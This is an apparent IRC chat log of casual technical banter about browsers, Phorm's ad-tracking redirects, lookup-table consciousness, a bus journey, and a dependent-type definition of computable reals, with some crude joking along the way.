12:15:00 <scarf> and ≡ to me implies congruence rather than definition
12:15:11 <alise> Er, right, definitional equality is =.
12:15:16 <scarf> super-mousewheel works via the touchpad here
12:15:25 <alise> ≡ is propositional.
12:15:29 <alise> scarf: No mouse at all
12:15:30 <scarf> ah, ok
12:15:37 <scarf> alise: heh, you remind me of me
12:15:53 <scarf> the mouse I have at the moment is basically broken, I need a new one / to stop using the mouse again
12:16:02 <scarf> I mostly only use it for Enigma, NetBeans, and websurfing as it is
12:16:12 <scarf> (NetBeans because it doesn't respond to keyboard shortcuts in a sane manner)
12:16:30 <alise> I have a mouse just no radio receiving thing for it.
12:16:48 <alise> As you know I'm not in my usual residence, so this stuff had to be picked up and the receiver was not.
12:17:01 <alise> Should be resolved by today with the amazing solution of "purchasing a mouse" :P
12:17:07 <scarf> (putting one of the more useful key combos on alt-f1, followed by preventing the usual shortcut keys opening the only menu which has that option on as a command, means you have to use the mouse for some things)
12:19:10 <scarf> haha: http://www.robweir.com/blog/2010/02/microsoft-random-browser-ballot.html
12:19:21 <scarf> summary: Microsoft messed up the code for randomizing the order of browsers in their ballot thing
12:19:26 <scarf> so not all the combinations have equal probabilities
12:20:52 <alise> http://www.browserchoice.eu/BrowserChoice/browserchoice_en.htm
12:20:57 <alise> What the fuck is a "green" browser?
12:22:10 * scarf follows the tell me more link
12:22:18 <scarf> I bet they claim to be environmentally friendly, or something
12:22:39 <scarf> wow, the PNG image on their home page is taking around 10 seconds to load
12:22:39 <alise> I thought that too but it doesn't seem so
12:22:46 <scarf> I don't think I've seen an image load that slowly for months
12:22:50 <alise> I like how there's like a few decent browsers and then holy shit obscureathons
12:22:57 <scarf> and last time, it was goatse, and I managed to click away before more than the top 20 or so pixels loaded
12:23:02 <scarf> after guessing it was a goatse
12:23:08 <scarf> so I've seen the top 20 pixels or so of goatse, but no more
12:23:57 <scarf> http://www.morequick.com/IndexEn.htm <--- wow that's a bad homepage
12:24:35 <alise> and a bad browesr
12:24:41 <alise> looks like it uses IE's engine
12:24:47 <alise> see bottom left of screenshot
12:25:16 <scarf> heh, that's the IE logo, you're right
12:25:40 <alise> yeah like Maxthon and shit they're all the same
12:25:44 <alise> take IE engine add shitty UI with tabs done
12:25:50 <scarf> how can a website called morequick.com load so slowly?
12:26:19 <scarf> also, the interface looks like it's trying to look like OS X and failing
12:27:04 * scarf clicks on the IE install link
12:27:09 <alise> Only the tabs
12:27:09 <scarf> just because I'm curious as to what will happen
12:27:21 <alise> some exe
12:27:25 <scarf> oh, I get an advert for Windows 7
12:27:28 <scarf> that's actually sort-of clever
12:27:34 <scarf> "Internet Explorer 8 is available only on PCs running Windows. Check out Windows 7, which includes Internet Explorer 8."
12:29:37 <scarf> but I have win7 installed on here (haven't used it for months, though), so if I really wanted IE 8, I could get it like that
12:29:40 <alise> http://www.flickr.com/photos/38864566@N00/2479491895/
12:29:40 <alise> this is sweet
12:31:52 <scarf> ugh, not a still image?
12:31:56 <scarf> I may have a look when I get home
12:32:09 <alise> It couldn't be a still image
12:45:52 <alise> I have this sinking feeling that I should do pattern matching on arbitrary function results.
12:45:59 <alise> (as opposed to just constructors)
12:46:43 <alise> *just constructors
12:47:31 <scarf> pattern matching reminds me of the old joke about regexes ("now you have /two/ problems")
12:47:47 <scarf> or maybe the statement about XML being like violence
12:48:02 <scarf> it's one of those things where, if you start pattern matching you end up needing to use more and more and more of it
12:50:01 <alise> Actually pattern matching is just sugar for case expressions which is just half of structural recursion on inductive data types... but what do I know :P
13:05:12 -!- daef has joined.
13:06:49 <alise> daef: Are you dæf?
13:06:56 <alise> Or just deaf /and/ dyslexic?
13:08:07 <scarf> hmm, I tried /nick æis523 but Freenode wouldn't let me
13:08:31 <alise> Er, isn't it pronounced ay eye ess?
13:08:36 <scarf> alise: yes
13:08:43 <scarf> it would be a different word if it were æis523
13:08:47 <alise> Right.
13:08:58 <scarf> sort of like "oklopol" is not pronounced the same way as "oklofok"
13:09:16 <daef> alise: ACK
13:09:29 <daef> dyslexics are teople poo
13:09:34 <alise> daef: Oh, cute, you're one end of a TCP socket!
13:09:40 <fizzie> scarf: nickname = ( letter / special ) *8( letter / digit / special / "-" )
13:09:54 <alise> fizzie: Pah!
13:10:03 <scarf> fizzie: wow, I'm... amazed and happy that you actually looked that up
13:10:15 <alise> fizzie: So what nick does -i use on IRC?
13:10:17 <scarf> and just as happy but more amazed if you typed it from memoryt
13:10:21 <scarf> *memory
13:10:30 <alise> He looks everything up :)
13:10:39 <alise> He is an unstoppable Google machine
13:10:44 <fizzie> scarf: Sorry to deamaze you a bit; it was looked-up. Looking things up is pretty much what I do.
13:10:52 <fizzie> It was from a local file this time, though.
13:11:11 <fizzie> (Is "deamaze" a word?)
13:11:18 <alise> fizzie is just a gigantic lookup table
13:11:24 <daef> alise: i'm david => dave => daef
13:11:26 <daef> not deaf
13:11:31 <daef> that's all
13:11:36 <alise> Eliezer Yudkowsky isn't sure whether you're conscious, fizzie.
13:11:44 <alise> daef: Oh shush you.
13:11:51 <alise> I'm allowed to be ridiculous if I feel like it.
13:11:57 <daef> kk
13:11:58 <fizzie> alise: I'm not sure of that either; I can't seem to find any good results for it in Google.
13:12:37 <alise> You didn't find http://lesswrong.com/lw/pa/gazp_vs_glut/?
13:12:53 <alise> He concludes you're not conscious. Ha!
13:13:00 <alise> I have foiled you, GLUT!
13:13:17 <alise> Is it Schadenfreude if the other party isn't conscious?
13:14:12 <fizzie> I asked the bot what I am, and it just said I'm "a communist irrelevant to any discussion of economics". That wasn't so polite.
13:14:41 <alise> :D
13:14:44 <daef> alise: do you speak german?
13:14:57 <scarf> snowplow, grassroots, mobile OE, MPSEB Indian utility co. meter reading, Delhi traffic police, Citibank demo documentation, Disprax (fake screen shots only), Jackson Builders, Aston Villa, NREGA employment census, smnp hardware monitoring, NDPL power, PG Call Home
13:14:57 <alise> daef: No, but Schadenfreude is an authentic English word, high-quality import.
13:15:01 <daef> kk
13:15:06 <alise> Hardly any scratches on the disk. Only slightly pirated.
13:15:28 <alise> scarf: I agree.
13:15:44 <scarf> btw, the "gazp vs glut" thing confuses me, I couldn't get why you'd compare anything but SDL to GLUT
13:15:48 <scarf> but it seems to be a different GLUT
13:16:08 <scarf> alise: you can have fun guessing what that list is, btw
13:16:15 <scarf> as can the rest of #esoteric
13:16:28 <scarf> although, it's likely to be distinctive enough that Google would turn it up pretty quickly
13:16:59 <alise> scarf: GLUT = Giant Look-Up Table
13:17:06 <scarf> yep, got that from the page
13:17:07 <alise> GAZP = Generalised Anti-(P-)Zombie Principle
13:17:17 <scarf> I was thinking GLUT = GL Utility Toolkit
13:17:27 <daef> lol
13:18:19 <scarf> you can see how confusing that acronym mismatch would make the page title
13:18:34 <alise> yes :P
13:18:43 <alise> But is a cube... CONSCIOUS????
13:19:00 <scarf> alise: as it's GLUT, the question would work better with teapots
13:19:09 <alise> I was trying to remember that shape
13:19:24 <daef> scarf: anyway - it's just a bunch of triangles
13:19:45 <scarf> the funny thing is, that the Utah Teapot was accidentally drawn at the wrong scale originally (as in, vertical scale != horizontal scale), so it looks rather different in the demos than it does in real life
13:20:05 <daef> that you could also save in a giant lookup table
13:23:12 <alise> If the Utah Teapot is conscious, is it a Mormon?
13:24:35 <scarf> alise: assuming that's an indicative rather than subjunctive if, yes
13:24:41 <scarf> *rather than counterfactual
13:25:08 <alise> Prove that it isn't conscious, you nincompoop! :P
13:25:38 <alise> also, subjunctive is a perfectly acceptable term isn't it?
13:27:24 <alise> my favourite bit of the GAZP vs. GLUT article is "The obvious answer is that you took a computational specification of a human brain, and used that to precompute the Giant Lookup Table. (Thereby creating uncounted googols of human beings, some of them in extreme pain, the supermajority gone quite mad in a universe of chaos where inputs bear no relation to outputs. But damn the ethics, this is for philosophy.)"
13:27:43 <alise> trust Eliezer Yudkowsky to remark on how immoral creating a lookup table can be
13:27:55 <alise> Which leads me on to my next question: IS MULTIPLICATION CONSCIOUS????
13:29:18 <scarf> what's confusing me here is computational complexity
13:29:48 <scarf> for instance, what sort of information density would you need to make a lookup table for a human brain? would it become a black hole under its own mass even if it filled the whole observable universe, for instance?
13:30:01 <alise> Oh, it would surely be ridiculous.
13:30:05 <alise> We have such a small universe.
13:30:48 <scarf> gah, why can't you upvote IRC comments?
13:31:14 <alise> Oh, it would surely be ridiculous. [↑ 1 ↓]
13:31:16 <alise> We have such a small universe. [↑ 1 ↓]
13:32:05 <scarf> hmm, this seems like a perfect feature for ickirc
13:32:28 <alise> use CTCP
13:32:33 <scarf> along with the one that lets you swap nicks with arbitrary other people using ickirc, without notifying the channel (it relays all messages back and forth, etc)
13:32:36 <scarf> and ofc you'd use CTCP
13:32:37 <alise> ^AUPVOTE messageid^A
13:37:29 <alise> Feh.
13:43:08 <scarf> also, http://forums.thedailywtf.com/forums/t/15838.aspx is golden
13:43:30 <scarf> you know the storm over the australian internet filter, and the person pushing it most filtering out "ISP Filtering" from his own tag cloud with client-side JS?
13:43:38 <scarf> it's not the only ridiculousness found in the code, it seems
13:43:50 <scarf> and the code itself was taken from a JS tutorial written by someone unrelated
13:43:55 <alise> which person puhsing it most? I am confused
13:43:56 <alise> *pushing
13:43:59 <alise> ah I see
13:44:16 <scarf> his name is Stephen Conroy, but that doesn't seem particularly relevant
13:44:28 <scarf> umm, the minister pushing it, that is
13:45:07 <alise> I just couldn't parse your sentence; got it now
13:45:25 <alise> uk i'net is censored too :/ just not as badly
13:45:56 <daef> alise: the fact is bad enough
13:46:01 <alise> Yes.
13:46:10 <scarf> at least Phorm hasn't been switched on yet
13:46:14 <scarf> I have plans for if and when it is
13:46:29 <scarf> I have quite an idea of how it technically works, and it would be fun to mess around with it
13:47:10 <alise> Isn't its workings well-known?
13:47:13 <scarf> yep
13:47:19 <scarf> well, by people who care to find out
13:47:23 <scarf> I imagine it isn't well-known in general
13:47:29 <scarf> because most people haven't bothered to look it up
13:47:30 <alise> Phorm seriously freaks me. It's, like, not even your regular Orwellian evil under a corporate disguise.
13:47:43 <alise> It's a paper company: something you would expect to see in fiction, down to the logo, website, everything.
13:47:53 <scarf> we can try things like creating websites where every link goes through exactly 4 HTTP redirects
13:48:03 <alise> It's like there is no cover over it other than the ludicrously unbelievable.
13:48:06 <scarf> which complies with the RFC without Phorm, but fails to comply with it with
13:48:21 <alise> heh, howso?
13:48:29 <scarf> alise: because it uses redirects on every page view itself
13:48:38 <scarf> and it goes over the redirect-loop limit if you combine the two
13:48:41 <alise> right
13:48:54 <alise> So would a Phorm-condemned user actually see a redirect on every request?
13:48:57 <scarf> yes
13:49:04 <scarf> even if you turn it off, apparently
13:49:07 <alise> Hey, lets the ISPs up all their connection speeds and prices.
13:49:13 <scarf> because the redirect's needed to tell whether it's turned off or not
13:49:18 <alise> Meet the new speed, same as the old speed.
13:49:22 <alise> Actually, why the hell isn't Phorm illegal?
13:49:37 <alise> Wow, Phorm apparently used to (under a different name) produce spyware.
13:49:39 <scarf> alise: nobody's entirely sure; there's a rumour that the EU's planning to sue the UK for not calling it illegal
13:49:41 <alise> I didn't even know that.
13:49:46 <alise> (As in, real bona fide non-approved spyware.)
13:50:21 <alise> The UK Information Commissioner's Office has voiced legal concerns with Webwise as it is currently implemented, and has said it would only be legal as an "opt-in" service, not an opt-out system.
13:50:21 <scarf> more fun: phorm impersonates websites to inject cookies into them
13:50:25 <scarf> I can't remember why, btw
13:50:30 <alise> What is it with UK government positions' names and sounding creepy?
13:50:33 <alise> Information Commissioner.
13:51:01 <scarf> alise: I was reading Phorm's website recently, apparently when they turn it on they're planning to redirect pages to ask people whether to opt-in or opt-out
13:51:09 * alise wonders what it is with Wikipedia describing itself and always using the third-person whenever it mentions it
13:51:18 <alise> Do they want people to read Wikipedia without the Wikipedia branding in the future or something? :P
13:51:24 <alise> It's awkward to read.
13:51:26 <scarf> alise: there's a page about that
13:51:30 <alise> I know.
13:51:33 <scarf> http://en.wikipedia.org/wiki/Special:Search?go=Go&search=WP:ASR
13:51:38 <alise> But I think the "neutrality" just makes the writing feel strange.
13:51:58 <scarf> the idea's that the articles should have no idea that they're on Wikipedia, or indeed even on a website
13:52:08 <scarf> so, say, you can make print versions more easily, and fork it more easily
13:53:19 <alise> Print can still say Wikipedia. Okay, forking, granted.
13:53:24 <alise> But still...
13:53:40 <alise> Is forking more important than not confusing people who read it?
13:53:50 <alise> My brain does a bit of a double take every time Wikipedia says "the online encyclopedia Wikipedia".
13:55:26 <alise> If Phorm is ever switched on I'll not use any ISP that has it. Even if that eliminates all UK ISPs...
13:55:43 <alise> At home, at least.
13:55:54 <scarf> alise: personally, I think it would be fun to screw around with it for a bit before boycotting, especially as my internet connections are (legally) borrowed anyway
13:56:10 <alise> Yeah, but what about all my kiddie porn?!?!?!?!
13:56:13 <alise> :P
13:56:27 <scarf> alise: I hope you don't view that sort of thing
13:56:29 <alise> Anyway I draw the line at every single HTTP request causing a redirect.
13:56:41 <alise> scarf: Must you take obvious ridiculosity as sincere?
13:57:05 <scarf> alise: well, at least I'm consistent
13:57:14 <scarf> and it sometimes produces absurd conversations, which can only be a good thing
13:57:18 <alise> scarf: Then you are not complete.
13:57:32 <scarf> alise: I'm not even a type 1 reasoner
13:58:22 <scarf> whether it's possible to be simultaneously consistent and complete depends on your other assumptinos
13:58:24 <scarf> *assumptions
13:58:42 <alise> Well, I based it on the fact that you said you were consistent.
13:58:52 <alise> Presumably that means you've proved to yourself that you're consistent :P
13:59:21 <scarf> you have to take into account the difference between me believing I'm consistent, me actually being consistent, and me believing myself to believe myself to be consistent
13:59:29 <scarf> actually, I believe myself to be inconsistent in general
14:00:58 <alise> Quotient types are good. The extensional Axiom of Choice is bad. Anything resulting in a bad thing is bad. Quotient types result in the extensional Axiom of Choice.
14:01:41 <alise> (But then I don't really believe "quotient types are good" because of that reasoning chain. Perhaps I have some special kind of "undecided" belief that references reasons not to believe it, and pointers to ways to possibly modify the belief so that it is good.)
14:02:14 <scarf> alise: your use of an in-context "references" followed by an out-of-context "pointers" leads me to believe you're attempting a pun
14:02:17 <scarf> but I can't find one
14:02:19 <scarf> maybe it was just a typo?
14:04:12 <scarf> <Xyro> FYI, the world will end on Tue, August 31st, 4500AD a few minutes before midnight (local time).
14:04:55 <scarf> this is a crazy and nonserious attempt to deduce a religion from Microsoft Outlook
14:05:19 <alise> scarf: no pun no
14:05:21 <alise> brb
14:07:32 * scarf reads about people advertising really expensive cables for audio; nothing new, except that they're Ethernet cables designed to transmit audio really, really perfectly or something
14:07:48 <scarf> with a cable meant for analog, you can sort-of see how people could be fooled into it, but digital?
14:08:25 <Deewiant> People don't know how technology works
14:08:29 <Deewiant> Analog or digital
14:08:35 <scarf> I suppose so
14:08:54 <scarf> "if you do not follow the "directional markings" on the cables, your music will play backwards. Please check that."
14:09:02 <scarf> people found the website and started giving parody reviews
14:10:03 -!- MissPiggy has joined.
14:11:10 <alise> back, with a new keyboard and mouse
14:11:33 <scarf> ooh
14:11:37 <scarf> where did you get them from?
14:12:17 <alise> Um, ASDA. (My father's house is /also/ in a rather remote place, although not so much so; the nearest place with a supermarket only has one). I only got these because I needed 1, a keyboard with all the keys, and 2, a mouse that works.
14:12:35 <alise> (I already had them, I was just plugging them in and what not.)
14:13:14 <alise> So, yeah.
14:13:29 <alise> This keyboard could do with some weights to hold it into place.
14:13:35 <alise> The mouse isn't bad, though.
14:13:51 <alise> Not rubbery, sufficiently clicky buttons, and a scroll-wheel.
14:14:09 <scarf> alise: I love the mental image of a keyboard blowing away in the wind
14:14:15 <MissPiggy> I am so fucking ill I want to puke
14:14:21 <MissPiggy> wait no I don't
14:14:21 <alise> MissPiggy: Then puke.
14:14:34 <alise> scarf: :-)
14:14:39 <alise> Those fold-up keyboards might be able to do that.
14:15:17 <alise> Ugh, I miss my media keys. (Just for volume control.)
14:16:22 <scarf> alise: same here, although I bound them to super-combinations
14:16:23 <alise> But damn I'm glad I have a mouse.
14:16:29 <scarf> in particular, I used to use play/pause a lot, now I use super-P
14:17:07 <alise> Rubber dome keyboards sure are mushy compared to the old scissor-switch.
14:17:15 <alise> But at least I don't have to fingernail keys I picked off now.
14:17:47 <alise> Irritating that Emacs cannot display characters I know I have the fonts for.
14:17:53 <alise> Even in those fonts.
14:18:13 <alise> For instance, ⊤ and ⊥ won't show, even with DejaVu Sans Mono.
14:18:25 <MissPiggy> WHO CARES
14:18:34 <MissPiggy> use T and F
14:18:37 <alise> MissPiggy: No?
14:18:40 <alise> I don't want to.
14:18:46 <alise> It worked before in Ubuntu.
14:19:01 <scarf> alise: which OS are you using atm?
14:19:18 <scarf> oh, OS X
14:19:20 <alise> OS X; the computer with Ubuntu on was too heavy and such to lug across, especially as it doesn't really like Wi-Fi.
14:19:27 <scarf> (/ctcp version is so much faster than asking a person)
14:19:36 <alise> I have Ubuntu here, though. I could boot it up and use it now that I have a mouse.
14:19:46 <alise> But Linux on Macs is iffy at the best of times.
14:19:53 <MissPiggy> yeah :(
14:20:46 <alise> Besides, it seems to work alright in other OS X applications.
14:20:56 <alise> Bloody Emacs. Maybe a newer build would work.
14:21:33 <alise> I'd just use TextEdit, but I need \TeX-style-character-insertion.
14:21:38 -!- BeholdMyGlory has joined.
14:22:33 <MissPiggy> yol have agda mode?
14:23:19 <alise> M-x set-input-mode RET TeX RET. Agda-mode is just an extension of it, one that I ought to get around to downloading.
14:23:26 <alise> Well, agda-input, that is.
14:24:56 <alise> "David Cameron: We are a modern and radical Conservative Party" —YouTube front page
14:25:02 <alise> Radical conservatism!
14:25:58 <MissPiggy> alise want a good video to watch
14:26:10 <alise> Not particularly?
14:27:00 <alise> epigram is so cool
14:27:02 <alise> and so is agda
14:27:03 <alise> and coq
14:27:24 <MissPiggy> what about Omegamega?
14:28:12 <alise> *Ωmega :P
14:28:16 <alise> I haven't looked into it.
14:28:26 * MissPiggy doesn't get it
14:30:45 <alise> The Ωmega interpreter[1] is a strict pure functional programming interpreter similar to the Hugs Haskell interpreter. The syntax closely resembles that of Haskell but with important differences:
14:30:45 <alise> Ωmega is strict (Hugs is lazy);
14:30:45 <alise> Support for Generalized Algebraic Datatypes;
14:30:45 <alise> Ability to introduce new types;
14:30:45 <alise> Allows writing of functions at the type level.
14:30:52 <alise> Doesn't sound particularly dependent to me.
14:31:54 <alise> also, http://r6.ca/FewDigits/FPdag2008.pdf is officially my favourite introduction to dependent-types-as-logic ever
14:33:12 <alise> http://en.wikipedia.org/wiki/List_of_countries_by_coffee_consumption_per_capita
14:33:49 <alise> http://en.wikipedia.org/wiki/List_of_countries_by_alcohol_consumption
14:34:03 <alise> So what we can tell from this is that when Finns say "vodka" they mean "espresso".
14:36:01 <AnMaster> hi alise
14:36:09 <fizzie> Whoa, that's unexpected. I've known that we're not exactly #1 when it comes to alcohol -- despite all the anecdotes -- but I had no idea about the coffee thing. I wonder if that is actually true-true.
14:36:12 <AnMaster> alise, so back for good?
14:36:16 <AnMaster> :)
14:36:30 <alise> AnMaster: Uh, what makes you think that?
14:36:42 <alise> The current situation just means I'm sure as hell going to tackle this before even considering returning.
14:37:02 <alise> Admittedly, if they have a weapon they'll use it now, and if they don't, I'm free. So I guess you're right, in some sense.
14:37:03 <AnMaster> alise, hm? I mean back at home
14:37:04 <alise> This is Endgame.
14:37:05 <AnMaster> Monday
14:37:11 <alise> Returning = to the unit
14:37:17 <alise> AnMaster: Oh you don't know the situation do you?
14:37:21 <AnMaster> alise, no
14:37:22 <AnMaster> well
14:37:27 <alise> I'll explain briefly in /msg.
14:37:30 <AnMaster> I know what you mentioned before
14:37:32 <AnMaster> alise, okay
14:37:49 <AnMaster> afterwards I will tell about my very strange journey home today
14:37:55 <AnMaster> very strange that thing with the bus
14:38:05 <alise> Was it a catbus?
14:38:27 <AnMaster> alise, what is that?
14:38:34 <alise> http://en.wikipedia.org/wiki/My_Neighbor_Totoro
14:38:41 <alise> Or, well, I guess http://en.wikipedia.org/wiki/Catbus is more specific.
14:38:49 <AnMaster> ah, not *quite* that strange
14:38:57 <AnMaster> but I will recount it.
14:39:16 <scarf> how can that possibly be not a lolcat reference?
14:39:35 <AnMaster> To begin with it was normal, I took the articulated bus from university to the exchange (or whatever it is called, almost all buses pass through that place)
14:39:38 <fizzie> There's also that single-person kittenbus, that's maybe even more... that.
14:39:41 <AnMaster> then I was to wait for another bus
14:39:44 <AnMaster> still normal
14:39:45 <AnMaster> but
14:39:52 <AnMaster> then something unusual happened
14:39:58 <alise> A very articulate bus.
14:40:04 <alise> AnMaster: You TURNED INTO A WALRUS?
14:41:05 <AnMaster> instead of the normal "front part low for handicaped/rear part high for packing lots of people" in compromise that that bus usually is, a long range coach thingy arrived
14:41:13 <AnMaster> with the right bus number and everything
14:41:25 <fizzie> The SUSPENSE before you said that was INCREDIBLE.
14:41:30 <AnMaster> but it got worse
14:41:31 <AnMaster> wait for it
14:42:10 <AnMaster> well of course I asked the driver and confirmed it was the right bus, and went on it. However later on I saw in the driver mirror the *normal* bus for that line right behind us.
14:42:24 <alise> This is so exciting I am literally urinating in my underwear
14:42:26 <AnMaster> and when I stepped out of the bus when I arrived, and looked back at the bus I was in
14:42:30 <AnMaster> it said "not in traffic"
14:42:31 <AnMaster> on it
14:42:34 <AnMaster> instead of the number
14:42:35 <alise> WHOA
14:42:48 <AnMaster> all together I think this is rather strange
14:42:48 <fizzie> You just barely escaped a molestation affair thing, it seems!
14:42:56 <AnMaster> fizzie, har
14:43:15 <fizzie> Though perhaps a bus is maybe not the most inconspicuous vehicle for that sort of thing.
14:43:21 <AnMaster> fizzie, also the driver nearly made the wrong turn a bit before
14:43:36 <MissPiggy> AnMaster: once I went the bus which has the right number, but on the way home it took a wrong turn onto the very busy roads which don't go where I want and it was difficult to get home from there
14:43:48 <AnMaster> MissPiggy, huh
14:43:51 <MissPiggy> now every time I go on that bus I am scared it might do that again
14:43:59 <alise> clearly this problem would not exist if we had trams
14:44:01 <alise> TRAMS!
14:44:06 <AnMaster> MissPiggy, maybe it is like here, same number takes different variants of the rout
14:44:07 <alise> the perfect vehicle for the transportation of yams
14:44:08 <AnMaster> route*
14:44:20 <fizzie> Speaking of buses, they're test-driving this four-door-pairs monster on the 550 line here: http://www.spheros.de/Upload/Images/Presse/Capacity_Aerosphere.jpg
14:44:37 <MissPiggy> bendy bus
14:45:03 <fizzie> There was something about there being more than one pair of steerable wheels in there.
14:45:04 <MissPiggy> there was a bit ofa fuss about them ni london because I think they can be a bit dangerous for cyclists
14:45:10 <MissPiggy> or maybe it was the other way around...
14:45:15 <alise> we should have buses that are entirely bendy
14:45:17 <AnMaster> like they go through small towns sometimes, and sometimes they go by the <what do you call big roads with a speed of 110 km/h in English? Separated directions, and all roads crossing it go by tunnel/bridge>
14:45:24 <alise> like, the whole bus is in the bendy bit
14:45:26 <alise> wheeeeeeeeeeeee
14:45:29 <MissPiggy> AnMaster yeah it was scary
14:45:30 <fizzie> The catbus is very bendy, I believe.
14:45:44 <AnMaster> MissPiggy, well I'm used to this bus taking 5 different variants of the route
14:45:55 <AnMaster> MissPiggy, at least I live close to one of the points it take for allmost all routes
14:46:04 <alise> Wir fahr'n fahr'n fahr'n auf der Autobahn, wir fahr'n fahr'n fahr'n auf der Autobahn...
14:46:31 <AnMaster> anyway another strange thing when boarding it was that it didn't come in to the station/bus exchange from the normal direction
14:46:52 <AnMaster> usually it comes in from north, the exchange being the second station from that end of the route
14:47:20 <AnMaster> but this one came in from south with "not in traffic", made an U-turn, and changed to the right number
14:47:26 <alise> fizzie: Does that thing say METROBUS?
14:47:48 -!- oerjan has joined.
14:48:09 <AnMaster> alise, autobhan in Swedish is exclusively used about the "no speed limit" German autobhans. (at least they used to have no speed limit, no idea about nowdays)
14:48:25 <fizzie> It seems to. The picture is non-local, though, just the same model of bus.
14:48:32 <alise> Yes.
14:48:34 <alise> But I like that song.
14:48:54 <AnMaster> alise, anyway this long range bus even had a stoved away seat at the front saying "for guides" on a label
14:49:24 <AnMaster> also I think the suspension on it was under dampened, it kept going up and down for a bit after each bump in the road
14:49:39 <AnMaster> (is under-dampened the right English term?)
14:49:41 <oerjan> <uorygl> How about the "al forno" and the "resquiat" parts?
14:50:02 * alise quells AnMaster's boring with the computable reals
14:50:04 <oerjan> resquiat means "rest" i think, see "resquiat in pace" (sp)
14:50:05 <alise> data ℝ : Set where
14:50:05 <alise> ℝ : (f : ℚ⁺ → ℚ)
14:50:05 <alise> → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂}
14:50:06 <alise> → ℝ
14:50:06 <alise>
14:50:06 <alise> ι : ℚ → ℝ
14:50:06 <alise> ι q = ℝ (λ_ → q)
14:50:13 <AnMaster> oh fun
14:50:21 <fizzie> alise: http://isometric.sixsided.org/data/strips/the_left_sister/4.gif
14:50:23 <AnMaster> alise, what language is that?
14:50:25 <alise> requiescat in pace
14:50:29 <AnMaster> haskell?
14:50:33 <MissPiggy> haskaj
14:50:35 <alise> AnMaster: mine. Similar to Agda, though, you could surely make the definition there.
14:50:41 <alise> Haskell is nowhere near powerful enough to express that.
14:50:55 <MissPiggy> but haskal is turing complete!
14:50:59 <alise> fizzie: <3
14:51:15 <alise> Hasqal
14:51:39 <oerjan> http://en.wikipedia.org/wiki/Al_forno
14:51:43 <AnMaster> alise, what does it mean though? It looks like a definition of ℝ. And I guess the mentions of ℚ is for defining the latter as a subset of the former or such?
14:52:11 <alise> No.
14:52:16 <AnMaster> alise, then what does it mean? :)
14:52:30 <alise> A real is represented as a function from a positive rational to a rational. {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂} means:
14:52:40 <AnMaster> oh?
14:52:50 <alise> For all positive rationals e1 and e2, |f e1 - f e2| <= e1 + e2
14:53:01 <oerjan> alise: resquiat is a late latin corruption, it seems. also, this was italian not latin.
14:53:04 <alise> Basically, pi 0.01 = 3.14
14:53:36 <AnMaster> alise, and pi 0.001 = 3.142?
14:53:38 <alise> This is the computable reals, not the reals, because you can't e.g. have Chaitin's constant. But constructivists don't believe in Chaitin's constant, anyway.
14:53:57 <alise> AnMaster: Or similar.
14:54:12 <alise> ι : ℚ → ℝ
14:54:12 <alise> ι q = ℝ (λ_ → q)
14:54:12 <alise> just lets you convert a rational to a real.
14:54:21 <alise> For any precision, it yields the rational you give it.
14:54:36 <alise> The cool thing is that you cannot pass any function to the real constructor that does not obey the property of {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂}.
14:54:42 <AnMaster> 3.14159265... <-- what I remember of pi on the top of my head
14:54:44 <alise> Don't ask how it works. It's Magic.
14:54:50 <MissPiggy> alise please make me better
14:55:09 <AnMaster> the next digit after that *might* be a 3, not sure
14:55:12 * AnMaster checks
14:55:20 <AnMaster> yep, a 3
14:55:25 <alise> MissPiggy: BAZAM
14:55:26 <alise> Done.
14:55:27 <fizzie> It's 3 unless you round it to that length.
14:55:31 <MissPiggy> thanks
14:55:36 <MissPiggy> ;_;
14:55:38 * MissPiggy cry cry cry
14:55:46 <alise> MissPiggy: What, precisely, is the problem?
14:55:50 <fizzie> I think mooz bothered to memorize 50 or 100 digits or so. I'm not sure why.
14:55:53 <MissPiggy> alise I have a bad cold
14:56:06 <scarf> alise: I can do 3.14159265358
14:56:06 <AnMaster> fizzie, well yes
14:56:10 <scarf> * AnMaster:
14:56:11 <AnMaster> (about the 3 and rounding)
14:56:11 <oerjan> AnMaster: ...3589797... from my top of head
14:56:12 <alise> MissPiggy: Sucks to be you; I hate colds.
14:56:19 <AnMaster> scarf, ?
14:56:21 <oerjan> wait
14:56:26 <alise> 3.14159 is as much as I know; I'm a dullard.
14:56:27 <MissPiggy> alise me too the worst thing is I had 100% attendence up until today
14:56:33 <oerjan> that last 7 shouldn't be there
14:56:49 <oerjan> (unless it's accidentally right)
14:56:50 <alise> http://isometric.sixsided.org/data/strips/the_left_sister/dropin2.php ;; I really ought to read isometric comics more than just when fizzie links to them
14:56:59 <alise> MissPiggy: cute, like oklopol
14:57:02 <MissPiggy> 3.141592653589793238462643383279502884197169399375105820974944592307816406286208
14:57:03 <AnMaster> alise, I have to think a few seconds to remember past 3.14159. It goes like "uuh... ah yes, 2 then 65"
14:57:05 <MissPiggy> that's all I can remember
14:57:08 <alise> angry that he got his first 4 instead of a 5 on a test :)
14:57:17 <alise> MissPiggy: Yeah. Right.
14:57:26 <MissPiggy> alise it's true
14:57:58 <alise> http://isometric.sixsided.org/data/strips/the_left_sister/19.gif
14:58:04 <MissPiggy> and I even got it all right!
14:58:04 <AnMaster> <oerjan> AnMaster: ...3589797... from my top of head <-- checking gives that as "793" not "797" indeed
14:58:09 <AnMaster> but then that could be rounted
14:58:12 <MissPiggy> alise you don't beleive me :|
14:58:14 <AnMaster> since I checked M_PI
14:58:18 <alise> MissPiggy: I find it unlikely.
14:58:24 <MissPiggy> alise I am not lieing
14:58:25 <alise> But I do not rule out the possibility entirely.
14:58:50 <AnMaster> wait, that makes no sense
14:58:58 <AnMaster> M_PI has more precision in the header
14:58:58 <oerjan> AnMaster: hard to roung 3... to 7, alas :D
14:59:01 <oerjan> *round
14:59:06 * AnMaster slaps printf
14:59:09 <MissPiggy> :(
14:59:12 <oerjan> i am just chased by muphry's law today
14:59:13 <alise> http://isometric.sixsided.org/data/strips/the_left_sister/24.gif
14:59:15 <AnMaster> oerjan, well yes
14:59:15 <alise> I'll stop now
14:59:18 <AnMaster> oerjan, unless it is very cold
14:59:27 <oerjan> wait what
14:59:35 <MissPiggy> alise all I know of phi is 1.618033989
14:59:43 <MissPiggy> alise and of e 2.718281828
14:59:49 <scarf> 2.718281828459045
14:59:54 <alise> Panels 28 onwards are missing, fizzie bot :(
